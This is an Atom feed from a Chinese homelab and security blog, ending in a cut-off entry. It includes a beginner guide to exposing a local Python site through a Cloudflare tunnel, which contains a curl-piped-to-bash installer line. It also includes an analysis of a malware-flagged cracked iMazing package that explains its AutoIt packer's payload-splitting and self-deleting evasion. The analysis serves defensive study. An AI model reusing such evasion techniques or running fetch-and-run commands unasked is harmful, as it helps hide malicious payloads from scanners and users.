<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <id>https://blog.lumysia.net/</id>
  <title type="text">璐㛓娅的魔法书</title>
  <subtitle type="text">安全、折腾和日常</subtitle>
  <updated>2025-10-04T00:00:00.000Z</updated>
  <author><name>Livia</name></author>
  <link rel="alternate" href="https://blog.lumysia.net/"/>
  <link rel="self" href="https://blog.lumysia.net/atom.xml"/>
  <generator uri="https://github.com/CuteLeaf/Firefly">Firefly v6.16.9</generator>
    <entry>
      <id>https://blog.lumysia.net/zh-cn/posts/a-server-to-call-my-own-2/</id>
      <title type="text">数字小窝诞生记：向世界敞开大门</title>
      <published>2025-10-04T00:00:00.000Z</published>
      <updated>2025-10-04T00:00:00.000Z</updated>
      <author><name>Livia</name></author>
      <link rel="alternate" href="https://blog.lumysia.net/zh-cn/posts/a-server-to-call-my-own-2/"/>
      <summary type="text">用 Python 起一个只有五个步骤的小网站，再用 Cloudflare 隧道五分钟把它放到公网上，顺便说清楚为什么绝对不能在用户主文件夹里起这个服务。</summary>
      <content type="html"><![CDATA[<blockquote><p>2025 年写的第二篇，2026 年改了一处要紧的地方。原文让你在主文件夹里起服务，那等于把整个家目录公开到互联网上，现在改成只服务一个专用的小文件夹。其余都是原来的内容。</p></blockquote>
<section><h2>你的数字城堡的地基<a href="#你的数字城堡的地基"><span>#</span></a></h2><p>那么，我们已经集齐了所有闪亮的硬件！现在，我们的小小数字家园应该建在哪里呢？是传统的、舒适的 Windows 小屋？还是极客范的、可定制的 Linux 树屋？又或者是花里胡哨又费钱的 macOS 别墅？</p><p>老实说，对于新手来说，这些选择中的任何一个都完全没问题，你完全可以用它们来开始你的家庭实验室冒险。这是你的世界，你来定规则！</p><p>但是！我今天想向你介绍的主角是神奇的 <a href="https://pve.proxmox.com/wiki/Main_Page" target="_blank">Proxmox Virtual Environment</a>。哦哦哦，这听起来是不是超级技术宅？别担心！把它想象成一片神奇的土地。在这片土地上，你可以建造一栋 Windows 房子、一栋 Linux 房子，甚至一栋 macOS 房子，它们都可以作为快乐的小邻居和睦相处！对于我们想要构建的所有其他有趣的东西来说，它是一个完美、可靠的地基。</p><p>你可以跟着这篇<a href="https://pve.proxmox.com/wiki/Installation" target="_blank">官方指南</a>来准备好你自己的那片 Proxmox 小天地。或者，如果你更喜欢，暂时继续使用你最爱的 Windows、Linux 或 macOS 也完全可以。你才是这场冒险的老大！</p><p>系统只是我们数字小窝所建立的土地，所以我们不会在这里花太多时间。如果你不确定如何安装操作系统，YouTube 上有大量非常有用的视频。我真的、真的、真的推荐你去看看！</p></section>
<section><h2>让我们为你的数字家园敞开大门<a href="#让我们为你的数字家园敞开大门"><span>#</span></a></h2><p>好啦，你已经有了网络连接，你的网络服务提供商（ISP）也处理了所有无聊的事情。我们来做点超级刺激的事怎么样？想不想在大概 5 分钟内，搭建一个超简单的迷你网站并向全世界展示它吗？我们开始吧！</p><p>首先……你知道你的电脑是什么操作系统，对吧？嘿嘿，开个玩笑！</p><section><h3>Windows 10/11 的小伙伴们看这里<a href="#windows-1011-的小伙伴们看这里"><span>#</span></a></h3><ol>
<li>
<p>用 Python 召唤一点小魔法</p>
<ol>
<li>
<p>首先，同时按下键盘上的 <code>Win</code> 键和 <code>R</code> 键。在弹出的小框里，输入 <code>powershell</code> 然后按 <code>Enter</code>。这样就打开了我们的魔法命令窗口！</p>
</li>
<li>
<p>现在，让我们念出第一句咒语。复制下面这行并粘贴到 PowerShell 窗口里：<code>winget install Python.Python.3.13</code> 然后按 <code>Enter</code>。这是在告诉你的电脑为我们安装 Python！（一个小提示：Python 版本更新很快，脚本对版本也有点讲究；想换版本把 <code>3.13</code> 改成你想要的号就好。）</p>
</li>
<li>
<p><strong>超级重要！</strong> 关闭 PowerShell 窗口，然后重新打开一个全新的。这样能让我们的电脑知道我们刚刚安装的新魔法。</p>
</li>
<li>
<p>在念服务器咒语之前，我们先给它盖一间小房间。把下面几行一行一行复制进 PowerShell：</p>
<div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>mkdir </span><span>$HOME</span><span><span>\my</span><span>-</span><span>first</span><span>-</span><span>site</span></span></div></div><div><div><div>2</div></div><div><span>cd </span><span>$HOME</span><span><span>\my</span><span>-</span><span>first</span><span>-</span><span>site</span></span></div></div><div><div><div>3</div></div><div><span>Set-Content</span><span> index.html </span><span>'&lt;h1&gt;Hello from my little server!&lt;/h1&gt;'</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p>为什么要多这一步？Python 这个小服务器会把你启动它的那个文件夹里的<em>所有东西</em>都展示出来，而我们马上就要把它放到互联网上。要是在用户主文件夹里启动，全世界都能翻你的文档、浏览器数据，甚至 SSH 密钥。呜哇！所以我们只给服务器一间小房间，里面只放一个网页。</p>
</li>
<li>
<p>现在输入 <code>python -m http.server --bind 127.0.0.1</code> 然后按 <code>Enter</code>。<code>--bind 127.0.0.1</code> 的意思是只有你自己的电脑能直接连到它，同一个 Wi-Fi 下的其他人不行。你应该会看到类似 <code>Serving HTTP on 127.0.0.1 port 8000</code> 的消息。如果你看到了……嗒哒！</p>
</li>
</ol>
</li>
<li>
<p>访问你的杰作</p>
<ol>
<li>看到消息里的那个 <code>8000</code> 了吗？那是你新服务器的秘密门牌号！我们去看看吧。打开任何网页浏览器，然后访问这个地址：<code>http://127.0.0.1:8000</code>。</li>
<li>你看到了什么？啊哈！是你的第一个网页在跟你打招呼！这就是我们刚刚做的 <code>index.html</code>，那间小房间里也只有它。</li>
</ol>
</li>
<li>
<p>秘密通道：Cloudflare 隧道</p>
<ol>
<li>让我们来安装我们的秘密武器！打开一个新的 PowerShell 窗口，输入这句咒语：<code>winget install Cloudflare.cloudflared</code>，然后按 <code>Enter</code>。</li>
<li>完成之后，就是最后的附魔了！在新的 PowerShell 窗口里，输入：<code>cloudflared tunnel --url http://127.0.0.1:8000</code></li>
<li>给它大概 10 秒钟施展魔法……你有没有看到一大堆文字弹出来，还有一个特殊的 <code>trycloudflare.com</code> 链接？</li>
</ol>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>2025-10-04T19:05:45Z</span><span> INF Requesting new quick Tunnel on </span><span>trycloudflare.com</span><span>...</span></div></div><div><div><div>2</div></div><div><span>2025-10-04T19:05:48Z</span><span> INF +--------------------------------------------------------------+</span></div></div><div><div><div>3</div></div><div><span>2025-10-04T19:05:48Z</span><span> INF |  Your quick Tunnel has been created! Visit it at:              |</span></div></div><div><div><div>4</div></div><div><span>2025-10-04T19:05:48Z</span><span> INF |  </span><span>https://gem-saw-passed-equilibrium.trycloudflare.com</span><span>          |</span></div></div><div><div><div>5</div></div><div><span>2025-10-04T19:05:48Z</span><span> INF +--------------------------------------------------------------+</span></div></div><div><div><div>6</div></div><div><span>2025-10-04T19:05:48Z</span><span> INF Initial protocol quic</span></div></div><div><div><div>7</div></div><div><span>2025-10-04T19:05:48Z</span><span> INF Registered tunnel connection connIndex=</span><span>0</span><span> location=yyz06 protocol=quic</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
</li>
<li>
<p>向世界问好！去吧，复制那个链接，在你的浏览器里打开它！屏幕上是什么？没错！是你那个打招呼的小网页！你没有关掉 Python 那个窗口，对吧？哈哈。现在，世界上任何拥有那个秘密链接的人都能看到它了。你成功啦！</p>
</li>
<li>
<p>炫耀完了，就在两个窗口里都按 <code>Ctrl + C</code>。这样门就重新关上了：没有 Python 服务器，也没有隧道，什么都没开着。别“以防万一”一直开着它哦！</p>
</li>
</ol></section><section><h3>macOS 的朋友们看这里<a href="#macos-的朋友们看这里"><span>#</span></a></h3><ol>
<li>召唤 Python
<ol>
<li>
<p>打开你的 <code>终端</code>。（按 <code>Cmd + Space</code>，输入 <code>终端</code>，然后按 <code>Enter</code>）。</p>
</li>
<li>
<p>和 Windows 一样，先给服务器盖一间小房间，这样它就不会把你的用户主文件夹展示给全世界：</p>
<div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>mkdir</span><span> </span><span>~/my-first-site</span><span> &amp;&amp; </span><span>cd</span><span> </span><span>~/my-first-site</span></div></div><div><div><div>2</div></div><div><span>echo</span><span> </span><span>'&lt;h1&gt;Hello from my little server!&lt;/h1&gt;'</span><span> &gt; </span><span>index.html</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
</li>
<li>
<p>念出这句咒语：<code>python3 -m http.server --bind 127.0.0.1</code></p>
</li>
<li>
<p>嗒哒！就这么简单！你的小服务器应该已经在运行了。你现在可以在浏览器里访问 <code>http://127.0.0.1:8000</code> 来看它。</p>
</li>
</ol>
</li>
<li>获取你的魔法大锅：Homebrew
<ol>
<li>你的 Mac 有一个超酷的魔法大锅叫做 Homebrew，它几乎能帮你搞定任何你需要的工具！首先，我们新开一个 <code>终端</code> 窗口（Python 那个窗口别关！）。在终端最前面的时候按 <code>Cmd + N</code> 就行。</li>
<li>输入 <code>brew --version</code> 来检查你是否已经安装了 Homebrew。如果你看到了版本号，就可以跳到下一步了！如果没有，就复制下面这整句咒语并粘贴到终端里来安装它：<code>/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"</code></li>
<li>它可能会问你要密码。别担心，这是安全的！</li>
</ol>
</li>
<li>开启隧道！
<ol>
<li>输入 <code>brew install cloudflared</code> 然后按 <code>Enter</code>。</li>
<li>最后的魔法戏法，输入：<code>cloudflared tunnel --url http://127.0.0.1:8000</code></li>
<li>几秒钟后，你就会得到一个专属于你的特别 <code>trycloudflare.com</code> 链接。把它分享给朋友，向他们展示你的魔法吧！</li>
<li>玩好了？在两个窗口里都按 <code>Ctrl + C</code>，把门重新关上。</li>
</ol>
</li>
</ol></section><section><h3>Linux 的探险家们看这里<a href="#linux-的探险家们看这里"><span>#</span></a></h3><p>对于所有的 Linux 奇才们，我感觉你们可能已经知道这个小技巧了！步骤和 Windows 的非常相似，我完全相信你们！你们能搞定的！</p></section><section><h3>但是……刚才那通魔法到底是怎么回事？<a href="#但是刚才那通魔法到底是怎么回事"><span>#</span></a></h3><p>所以我们费这么大劲是为了什么？我为什么要为你设计这个小魔术呢？秘密就在这里。</p><p>把你家的路由器想象成一个非常严格但用心良苦的城堡守卫。它的工作就是保护你家里所有的设备（你的电脑、你的手机）免受互联网上可怕事物的侵害。它会给你所有的设备一个秘密的、内部的 IP 地址，只有城堡里的人才能看到。</p><p>问题是，这个守卫太尽职尽责了，以至于当一个来自外部世界的友好访客，试图用你的公共 IP 地址来访问你新建的 Python 网站时，守卫只会说“不行！”然后“砰”地一声关上大门。这是每个人都会遇到的一个非常普遍的问题！</p><p>那么，Cloudflare 隧道是怎么工作的呢？它的魔法是什么？</p><p>嗯，Cloudflare 隧道就像一个神秘的皇家信使！它不是从外面试图砸开城堡的大门，而是从你的城堡内部（你的电脑）开始，创建一条通往外界的安全、秘密的隧道。任何拥有秘密地址（就是那个 trycloudflare.com 链接）的人都可以给信使一条消息，然后信使会安全地把它带回你城堡内部的服务器。</p><p>那个坏脾气的城堡守卫甚至都不用打开主城门！是不是很聪明？(´-ω-)`</p></section></section>
<section><h2>充满魔力的总结<a href="#充满魔力的总结"><span>#</span></a></h2><p>看看你！你刚刚用一句 Python 咒语凭空召唤出了一个小小的 Web 服务器，然后用 Cloudflare 隧道为全世界打开了一扇可以窥探它的魔法传送门！你应该为自己感到超级骄傲！</p><p>现在，这个“快速隧道”是个非常有趣的派对小把戏，对吧？这就像在我们的数字家门口向全世界大喊“你好！”，也是让我们初尝成功的完美方式！但如果你想创建一个私密的、舒适的空间，只让你自己的设备之间相互交谈，而不让全世界都来偷看呢？</p><p>所以后来我又学了另一种完全不同的魔法，叫做 Tailscale。与向公众敞开大门不同，Tailscale 帮助我们只为自己的设备建立一个秘密的魔法网络。这就像创建一个私人的小俱乐部，你的笔记本电脑、手机和新服务器都可以在里面互通秘密，无论它们身处世界的哪个角落！通过它自己独特的咒语 <code>tailscale serve</code>，我们将会看到在我们专属的俱乐部里共享服务是多么的容易。</p><p>一年后可以剧透一句：现在家里那些服务基本都挂在这张私有网络后面了，公网上只剩很少几个必要的入口。从“向世界敞开大门”到“只给自己人留门”，这一步比搭服务器本身更有安全感。</p><p>感谢你今天成为如此出色的魔法学徒！我们下次再见！(´-ω-)`</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.lumysia.net/zh-cn/posts/a-server-to-call-my-own-1/</id>
      <title type="text">数字小窝诞生记：缘起与初心</title>
      <published>2025-10-03T00:00:00.000Z</published>
      <updated>2025-10-03T00:00:00.000Z</updated>
      <author><name>Livia</name></author>
      <link rel="alternate" href="https://blog.lumysia.net/zh-cn/posts/a-server-to-call-my-own-1/"/>
      <summary type="text">一直觉得 Homelab 听起来很复杂？其实超简单。这是我搭建&quot;数字小窝&quot;系列的第一篇，讲了缘起、入门硬件清单和价格，还有一年之后它变成了什么样。</summary>
      <content type="html"><![CDATA[<blockquote><p>2025 年写的第一篇，2026 年补了一段”一年以后”。价格都是 2025 年买的时候的价，别当今天的报价看。</p></blockquote>
<section><h2>缘起<a href="#缘起"><span>#</span></a></h2><p>一听到”Homelab”（家庭实验室）这个词，是不是感觉有点吓人？好像是只有大神才会在秘密实验室里捣鼓的东西？其实完全不是啦！别担心，这比你想象的要简单得多！啊啊啊啊，求你了，千万别关掉这个页面，我发誓我没有在开玩笑！！！</p><p>虽然我是一个软件工程的学生，但我可以向你保证，这真的不是什么”专业工作”。它更像是在搭建一个数字版的乐高城堡。老实说，只要你能独立注册一个 GitHub 账号，你就已经掌握了开启这场冒险所需要的全部魔法咒语啦。</p><p>在这场冒险里，我的秘密武器就是 Docker 啦。别把它想成是什么可怕的技术，它更像一个超级贴心的小伙伴，能帮你把所有东西都整理得井井有条。之后我会专门为这个小可爱写一整篇文章的～</p><p>那么～我是怎么掉进”自托管”这个美妙的兔子洞的呢？这一切都始于我超棒的 gap year（其实是两年，哈哈），那段时光给了我一个完美的小角落，让我可以尽情地做梦和折腾。</p><p>那时候，我基本上天天都泡在各种科技产品的网店里，“云逛街”的同时幻想着该用哪些零件来组装我的完美小服务器。当然啦，我早就准备好了一份小小的愿望清单！</p><ul>
<li>我需要一个《我的世界》服务器来和朋友们一起玩，所以需要一颗性能给力点的 CPU。</li>
<li>我想要运行一大堆服务，比如我自己的 Git 服务、用来存文件的 Nextcloud，还有看剧看电影的 Jellyfin。</li>
<li>我需要超大的空间来存放我的媒体文件和各种私藏宝贝，所以目标是至少 10TB。</li>
</ul><p>我得承认，我这种把所有东西都塞进一个盒子里的”All-in-One”策略，并不能算是最佳实践，因为它没有把存储和计算分开。但是！我从中学到了超多东西，也收获了双倍的快乐，这难道不才是最重要的吗？我只要祈祷它哪天不要真的”一波炸”了就好，哈哈。</p><p>下一步是什么呢？当然是分享我的”装备清单”和它们的价格啦！</p></section>
<section><h2>我的装备清单<a href="#我的装备清单"><span>#</span></a></h2><blockquote><p>这是我的小服务器的”配方”和价格（单位是加元 CAD，2025 年的价）。如果你喜欢，可以把它当作灵感哦！～</p></blockquote>

<table><thead><tr><th>类型</th><th>品牌</th><th>注释</th><th>价格</th></tr></thead><tbody><tr><td>NVME SSD</td><td>Lexar</td><td>4T*2</td><td>~<span><span>270∗2=270*2 = </span><span><span><span></span><span>270</span><span></span><span>∗</span><span></span></span><span><span></span><span>2</span><span></span><span>=</span></span></span></span>540</td></tr><tr><td>NVME SSD</td><td>Fanxiang</td><td>2T</td><td>~$140</td></tr><tr><td>CPU</td><td>Intel</td><td>13400</td><td>~$158</td></tr><tr><td>Motherboard</td><td>Maxsun</td><td>Z790</td><td>~$260</td></tr><tr><td>Memory</td><td>Glowy</td><td>16G*2</td><td>~$120</td></tr><tr><td>Memory</td><td>Kingbank</td><td>16G*2</td><td>~$140</td></tr><tr><td>Cooler</td><td>Thermalright</td><td>AXP90X53</td><td>~$30</td></tr><tr><td>Power Supply</td><td>Seasonic</td><td>SUG300</td><td>~$100</td></tr><tr><td>Computer Case</td><td>N/A</td><td>N/A</td><td>~$40</td></tr></tbody></table><blockquote><p>一个给我自己（也给你们！）的小小便利贴：这块梵想的固态硬盘情绪有点……不稳定。我原本计划在 2027 年前把它换成一块更可靠的三星。至于后来到底换没换，先卖个关子，文章最后会说 (´-ω-)`</p></blockquote><section><h3>几个友好小提示<a href="#几个友好小提示"><span>#</span></a></h3><ol>
<li>在买任何亮闪闪的新玩具之前，一定先想好你到底想用它来做什么。</li>
<li>主板和 CPU 是最好的朋友，它们必须合得来！通常最好是先选好 CPU，再去找一块喜欢它的主板。（当然，如果你对某块主板一见钟情，反过来也完全可以！）</li>
<li>DDR5 内存有时候会有点”小公主脾气”。我的小服务器就因为内存频率问题闹过好几次情绪，自己重置了 BIOS。所以尽量买主板厂商官方测试过、认证过的内存条。</li>
<li>买一个好的、可靠的电源。这是服务器的心脏！既然它要 7x24 小时全年无休地工作，你肯定不想在这方面省钱的。</li>
<li>你也可以用机械硬盘来获得超大空间，但我对它们”咔哒咔哒”的歌声超级敏感，所以……这个就得你自己选择啦。</li>
</ol><p>接下来呢？硬件是这个游戏的第一关。等你通关之后，下一道咒语就会在这本强大的魔法书里自动浮现哦～</p></section></section>
<section><h2>一年以后<a href="#一年以后"><span>#</span></a></h2><p>写完这篇到现在，过了大概一年。回头看看当时那个”All-in-One 会不会一波炸”的祈祷，还挺好笑的。</p><p>硬件基本没动。CPU 还是那颗 13400，机箱还是那个机箱，只是内存被我塞到了 64G，因为虚拟机越开越多。存储这块倒是变了。新加了三条 4TB 的 NVMe 组了个 ZFS 的 RAIDZ1，专门放数据；原来那两块 4TB 的 Lexar 现在有点尴尬地闲置着。</p><p>至于那块梵想……<strong>没换成三星</strong>。它现在变成了 2TB 的 S790，还在兢兢业业地当系统盘和工作盘。也就是说，整个系统最核心的那块盘，至今是单盘、没有冗余的。这大概是我今年最该改、又最懒得改的一件事。其他东西炸了都能重建，系统盘炸了就得从头再来一遍。写在这里算是给自己留个证据，2027 年之前总得解决吧。</p><p>软件这边，当时说的”All-in-One”倒是不太成立了。现在这一台机器上跑着五六个虚拟机，文件服务、游戏服、智能家居各占一个，另外还租了几台便宜的 VPS 干些需要在公网上的活。所以严格说起来，现在已经是”一个盒子 + 几台小盒子”了，不再是当初说的”一个大盒子”。当时担心的”存储和计算没分开”，现在也还是没分开。只是把所有东西都装进同一台机器这件事，一年之后我依然觉得挺爽的。电费就一份，升级就一次，出问题也只有一个人要修（我）。</p></section>
<section><h2>最后再说几句<a href="#最后再说几句"><span>#</span></a></h2><p>你心里是不是有小问号在冒泡呀？有什么地方觉得困惑吗？请务必，务必，务必在下面的讨论区里提出来！这里没有什么”傻问题”，我保证。只要我看到，就会立刻回复你。</p><p>把这么长的文章读到最后的你，希望你也有美好的一天！非常感谢你的耐心。如果你喜欢我的小故事，记得到我的”关于”页面里的讨论区来跟我打个招呼呀～</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.lumysia.net/zh-cn/posts/one-sky-above/</id>
      <title type="text">同一片晴空下</title>
      <published>2025-09-01T00:00:00.000Z</published>
      <updated>2025-09-01T00:00:00.000Z</updated>
      <author><name>Livia</name></author>
      <link rel="alternate" href="https://blog.lumysia.net/zh-cn/posts/one-sky-above/"/>
      <summary type="text">Livia的博客，记录一名软件工程研究生在加拿大的新篇章。</summary>
      <content type="html"><![CDATA[<blockquote><p>本文由 Gemini 2.5 Pro 翻译</p></blockquote>
<section><h2>下一站，奥沙瓦<a href="#下一站奥沙瓦"><span>#</span></a></h2><p>你好呀，我是 Livia！欢迎来到我在互联网上的这个小角落。我刚刚落地加拿大，这无疑是我人生的一个新篇章，正在实时加载中。</p><p>目前，我正在安大略理工大学攻读软件工程硕士学位，在一个我坚信是被故意设计得巨难的课程中挣扎求生。所以，这个博客会是我的一个小天地，用来分享生活中的点点滴滴——我在这里的日常随想、与代码搏斗的故事，以及其间的一切。这是一个轻松随意的空间，送给所有喜欢温馨小故事的人。</p><p>我决定像一只小乌龟那样：慢慢地写，慢慢地想。所以更新的频率嘛……可能也会是龟速的，但我保证，每一篇都会是发自内心的用心之作。</p><p>其实，这已经是我第三次尝试开始写博客了。人们总说“事不过三”，对吧？希望这次这只小乌龟能爬得更远一点！未来，你可以在这里看到关于编程、我折腾家庭服务器的经历，以及我遇到的任何其他有趣的故事。</p><p>顺便说一句，这是一个托管在 Github 和 Cloudflare 上的静态网站，我会把全部源代码都分享在这里：<a href="https://github.com/Lumysia/blog" target="_blank">Lumysia/blog - Github</a>。请温柔对待我的数字小家！不可以搞破坏哦，好吗？(´• ω •`)♡</p><p>今天奥沙瓦的晴空万里，让我想起了昆明那片同样美丽的蓝天。风景依旧，看风景的人却已不同。我承认，我心里还有一些来自过去的结尚未解开……但没关系，我们每个人都可以按自己的节奏慢慢来。</p><p>那么，这便是我的第一篇博文。</p><p>欢迎来到我新的心灵家园。</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.lumysia.net/zh-cn/posts/imazing-tnt-package-analysis/</id>
      <title type="text">拆一个被 Defender 报毒的 iMazing 破解包，SFX、批处理和 AutoIt 混淆</title>
      <published>2021-09-27T00:00:00.000Z</published>
      <updated>2021-09-27T00:00:00.000Z</updated>
      <author><name>Livia</name></author>
      <link rel="alternate" href="https://blog.lumysia.net/zh-cn/posts/imazing-tnt-package-analysis/"/>
      <summary type="text">从 TNT 那个 iMazing 破解包里一层层拆下去，WinRAR 自解压、加密批处理、AutoIt runner、反编译出混淆脚本，最后把两段混淆字符串解出来看到它到底在干什么。</summary>
      <content type="html"><![CDATA[<blockquote><p>2021 年写的，2026 年整理时把当年没解开的那两段混淆代码解了，结论也补上了。所有层级和代码都是我自己拆出来的，下载站的名字就不写了，那不重要。</p></blockquote>
<section><h2>缘起<a href="#缘起"><span>#</span></a></h2><p>想找个爱思助手的备份，找上了 iMazing，兴起找到了 TNT 破解版的 iMazing，下载了适用于 Windows 的版本后却发现被 Windows 11 自带的杀毒软件报毒，于是起了想分析这个破解版的兴趣。</p><blockquote><p>顺便说一句，这种”破解版杀毒软件报毒”的事，有时候是杀软误报（破解补丁本身就在改别人的文件，行为很像恶意软件），有时候是真有毒，挂羊头卖狗肉的多了去了。所以别看到报毒就当误报，也别看到报毒就当病毒，拆开看看才知道。</p></blockquote></section>
<section><h2>分析<a href="#分析"><span>#</span></a></h2><section><h3>1、概览<a href="#1概览"><span>#</span></a></h3><p></p><figure><img src="/images/o4TszgPHIcYji2G.png" alt="解压" /><figcaption>解压</figcaption></figure><p></p><p>如图所示，解压后是一个官方安装包以及一个<code>Create__Fix.exe</code>，正是这个文件被报毒，以此展开调查。</p></section><section><h3>2、Create__Fix.exe<a href="#2create__fixexe"><span>#</span></a></h3><p></p><figure><img src="/images/LXSnr6B7TtgvuRK.png" alt="压缩包" /><figcaption>压缩包</figcaption></figure><p></p><p>拖入 DIE，看到这个文件似乎是个压缩包，将它解压，内容如图所示：</p><p></p><figure><img src="/images/lfKRim4QrjzaUYP.png" alt="又一个压缩包" /><figcaption>又一个压缩包</figcaption></figure><p></p><p>其中有一个<code>Fix.exe</code>以及一个<code>iMazing_fix.bat</code>，但是这个 bat 打开是乱码，使用 C32Asm 来看一下十六进制格式内容，如图所示：</p><p></p><figure><img src="/images/cxYuqhaTLU9vElP.png" alt="清楚了" /><figcaption>清楚了</figcaption></figure><p></p><p>这不是看的很清楚嘛，这个<code>iMazing_fix.bat</code>的运行流程如下：</p><ul>
<li>第一步，运行<code>Fix.exe</code>，参数是<code>-pt147147</code>和<code>-d%dir%</code>，这个写法让我感觉这是个压缩文件了，貌似还真是</li>
<li>第二步，等待一秒</li>
<li>第三步，删除<code>Fix.exe</code>和<code>iMazing_fix.bat</code></li>
</ul><p>我不禁好奇，是什么原因让它向千层饼看齐，一层又一层没完没了。</p><p></p><figure><img src="/images/F9l2jZUYENfCuHz.png" alt="不是吧又来" /><figcaption>不是吧又来</figcaption></figure><p></p><p>如图所示，不出意料它又是一个 RAR 压缩文件。</p></section><section><h3>3、Fix.exe<a href="#3fixexe"><span>#</span></a></h3><p>解压缩，需要密码，我猜密码是<code>t147147</code>，哦猜对了。TNT 团队并没有定制自己的解压工具，用 WinRAR 的 sfx 自解压模块传参解压，解压后如图所示：</p><p></p><figure><img src="/images/lm6yzf5asNHcRbS.png" alt="又一个解压" /><figcaption>又一个解压</figcaption></figure><p></p><p>解压后的文件分为三个，bat 脚本依旧是被加密的状态，再次使用十六进制编辑器阅读它。如图所示，这个脚本做的操作是这几步：</p><ul>
<li>清理屏幕</li>
<li>关闭回显</li>
<li>运行<code>data.bin</code>这个可执行程序，参数是<code>v1</code></li>
<li>删除<code>v1</code>、<code>data.bin</code>和它自己</li>
</ul><p>经过 DIE 分析，<code>data.bin</code>是个可执行程序，将它重命名为<code>data.exe</code>；<code>v1</code>是个二进制文件，暂时无法识别。</p></section><section><h3>4、data.exe 和 v1<a href="#4dataexe-和-v1"><span>#</span></a></h3><p><code>data.exe</code>重命名后就十分明了，它是 AutoIt3 的脚本运行器，那么<code>v1</code>不出所料就是一个 AutoIt3 的编译脚本，后缀应该是<code>a3x</code>。</p><p><code>v1</code>是编译完成的 au3 脚本，我在 GitHub 上找到了一些反编译器，当时用的是 UnAutoIt。如图所示，解压完毕，从 v1 中释放出来一个<code>iMazing.exe</code>以及一个脚本，此脚本混淆极其严重，几乎无法阅读：</p><p></p><figure><img src="/images/9yFOsWujGwPJmQ6.png" alt="extra" /><figcaption>extra</figcaption></figure><p></p><p>被修改后的<code>iMazing.exe</code>还附带原始的数字签名，尽管它已经失效。看起来它将会本地修改<code>iMazing.exe</code>，应该算是一个文件补丁，但是看起来哈希没什么变化……</p></section><section><h3>5、那两段混淆代码到底在干什么<a href="#5那两段混淆代码到底在干什么"><span>#</span></a></h3><p>当年写到这里就卡住了，反编译出来一大坨<code>BinaryToString('0x...')</code>套<code>Execute</code>的东西，看得人头皮发麻。其实它就是<strong>十六进制套十六进制</strong>。外层那一串十六进制解出来还是一句<code>Execute(BinaryToString('0x...'))</code>，再解一次才是真正的代码。手动解一遍（Python 两行的事）就出来这两句：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>StringSplit(FileRead($a2f00001b21sz_), '|387I', 1)</span></div></div><div><div><div>2</div></div><div><span>1+FileDelete($a2f00001b21sz_)</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>配合它周围那两个小函数一起看，整个流程就清楚了：</p><ul>
<li><code>a2f00001b21("4054656D70446972")</code> 这个函数是把十六进制转字符串，所以解出来是 <code>@TempDir</code></li>
<li>另几个十六进制串分别解出 <code>1</code>、<code>\</code>、<code>7</code>、<code>97</code>、<code>122</code>、<code>1</code>，拼起来就是先取系统临时目录，如果结尾没有反斜杠就补一个，再随机生成 7 个字符（<code>Chr(97)</code>到<code>Chr(122)</code>，也就是 <code>a</code> 到 <code>z</code>），拼成一个随机文件名，并且循环到一个不存在的名字为止</li>
<li>所以要问<code>FileInstall(...)</code>里的那一长串文件名释放到哪去了，答案是 <strong><code>%TEMP%\</code> 下 7 个小写字母的随机文件名</strong></li>
<li>然后<code>FileRead</code>把这个文件整个读进来，用<code>|387I</code>这个字符串当分隔符切开（<code>StringSplit</code> 第三个参数 1 表示按整串分隔符切，不是按单个字符）</li>
<li>切完立刻<code>FileDelete</code>把临时文件删掉</li>
</ul><p>到这里就能看懂它为什么写这么绕了：<strong>它把一个完整的载荷放在一个文件里，用<code>|387I</code>切成成千上万段</strong>。外壳里那句<code>If IsArray($os) And $os[0] &gt;= 0x46da Then ExitLoop</code>也说得通了。<code>$os</code> 是 <code>StringSplit</code> 返回的数组，<code>$os[0]</code>是元素个数，<code>0x46da</code>是 <code>18138</code>。也就是说它反复重试”释放并读取”，直到切出来的段数够 18138 段才认为这次释放是完整的。一个文件里被切成这么段，那个载荷本身就不小了。</p><p>至于切开之后那些段怎么拼回去、拼出来是什么，反编译出来的脚本里当年只留了这几段（原始脚本比这长得多，我没全留下来），这里就不硬猜了。</p><blockquote><p>这一层的意义其实比”它到底干了啥”更大。这是一种<strong>很常见的 AutoIt 打包器套路</strong>，<code>FileInstall</code> 释放到 <code>%TEMP%</code> 的随机文件名 → 读出来 → 按自定义分隔符切开 → 删掉落地文件。真正的载荷被藏在一个看起来像”数据文件”的东西里，静态扫描很难直接命中，行为上也尽量不留痕（落地即删）。所以看到 <code>BinaryToString</code> + <code>Execute</code> 套娃、又出现 <code>FileInstall</code> 到 <code>%TEMP%</code> 的，基本可以直接归类到这一类。</p></blockquote></section></section>
<section><h2>结论<a href="#结论"><span>#</span></a></h2><ul>
<li>它一直套娃，最后释放的<code>iMazing.exe</code>是并未破解的版本，把载荷切开之后也只是删掉了临时文件</li>
<li>但它把载荷切成 18138 段藏在临时文件里、读完就删，这个手法本身是典型的 AutoIt 打包器，目的就是让静态扫描看不到真正的内容</li>
<li>所以”看起来什么都没干”更可能是<strong>我没拿到完整的那个脚本</strong>，而不是它真的无害</li>
</ul><blockquote><p>现在回头补一句。真想把这个样本彻底拆干净，得从隔离区里把<code>v1</code>捞出来，记下它的 SHA-256，先在 VirusTotal 上看看有没有别人传过、行为标签是什么，再在隔离虚拟机里跑一遍，抓进程树和网络请求。凭反编译猜是哪一层在干活，终究猜不到底。当年没做这两步，是这篇最大的欠缺。</p></blockquote></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.lumysia.net/zh-cn/posts/minimal-linux-kernel-qemu-busybox/</id>
      <title type="text">用 QEMU + BusyBox 搭一个能调试的最小 Linux 内核</title>
      <published>2021-07-07T00:00:00.000Z</published>
      <updated>2021-07-07T00:00:00.000Z</updated>
      <author><name>Livia</name></author>
